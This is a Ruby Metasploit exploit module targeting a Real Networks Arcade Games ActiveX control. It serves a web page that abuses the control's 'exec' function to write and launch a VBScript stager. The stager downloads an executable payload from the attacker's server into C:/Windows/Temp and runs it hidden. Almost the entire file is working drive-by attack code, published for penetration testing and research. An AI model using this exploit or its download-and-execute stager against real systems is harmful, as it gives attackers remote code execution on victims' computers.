111 lines
3.7 KiB
Ruby
111 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution',
|
|
'Description' => %q{
|
|
This module exploits a vulnerability in Real Networks Acrade Game's ActiveX control. The "exec"
|
|
function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands
|
|
on the victim machine.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'rgod', #Initial discovery, poc
|
|
'sinn3r', #msf
|
|
],
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '71559' ],
|
|
[ 'EDB', '17105' ]
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
'BadChars' => "\x00",
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[ 'Windows Universal', {} ],
|
|
],
|
|
'DisclosureDate' => 'Apr 3 2011',
|
|
'DefaultTarget' => 0))
|
|
end
|
|
|
|
# Unfortunately if we echo the vbs cmdstager too many times, we tend to have random missing lines in
|
|
# either the payload or the vbs script. To avoid this problem, I ended up writing this custom routine
|
|
# that only uses one echo.
|
|
def build_vbs(url, payload_name, stager_name)
|
|
name_xmlhttp = rand_text_alpha(2)
|
|
name_adodb = rand_text_alpha(2)
|
|
|
|
tmp = "#{@temp_folder}/#{stager_name}"
|
|
|
|
vbs = "echo Set #{name_xmlhttp} = CreateObject(\"\"Microsoft.XMLHTTP\"\") "
|
|
vbs << ": #{name_xmlhttp}.open \"\"GET\"\",\"\"http://#{url}\"\",False : #{name_xmlhttp}.send"
|
|
vbs << ": Set #{name_adodb} = CreateObject(\"\"ADODB.Stream\"\") "
|
|
vbs << ": #{name_adodb}.Open : #{name_adodb}.Type=1 "
|
|
vbs << ": #{name_adodb}.Write #{name_xmlhttp}.responseBody "
|
|
vbs << ": #{name_adodb}.SaveToFile \"\"#{@temp_folder}/#{payload_name}.exe\"\",2 "
|
|
vbs << ": CreateObject(\"\"WScript.Shell\"\").Run \"\"#{@temp_folder}/#{payload_name}.exe\"\",0 >> #{tmp}"
|
|
|
|
return vbs
|
|
end
|
|
|
|
def exploit
|
|
@payload_name = rand_text_alpha(4)
|
|
@temp_folder = "C:/Windows/Temp"
|
|
super
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
if request.uri =~ /\.exe/
|
|
print_status("Sending payload EXE")
|
|
return if ((p=regenerate_payload(cli)) == nil)
|
|
data = generate_payload_exe( {:code=>p.encoded} )
|
|
send_response(cli, data, {'Content-Type' => 'application/octet-stream'} )
|
|
return
|
|
end
|
|
|
|
# Payload's URL
|
|
payload_src = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
payload_src << ":" << datastore['SRVPORT'] << get_resource() + "/" + @payload_name + ".exe"
|
|
|
|
# Create the stager (download + execute payload)
|
|
stager_name = rand_text_alpha(6) + ".vbs"
|
|
stager = build_vbs(payload_src, @payload_name, stager_name)
|
|
|
|
html_obj_name = rand_text_alpha(6)
|
|
|
|
html = <<-EOS
|
|
<html>
|
|
<object classid='clsid:5818813E-D53D-47A5-ABBB-37E2A07056B5' id='#{html_obj_name}' />
|
|
</object>
|
|
<script language='vbscript'>
|
|
#{html_obj_name}.Exec "cmd","/c #{stager}",1,1,""
|
|
setTimeout "x=1", 3000
|
|
#{html_obj_name}.Exec "cmd","/c start #{@temp_folder}/#{stager_name}",1,1,""
|
|
</script>
|
|
</html>
|
|
EOS
|
|
|
|
# Remove extra tabs
|
|
html = html.gsub(/^\t\t/, "")
|
|
|
|
print_status("Sending #{self.name}")
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
end
|
|
end
|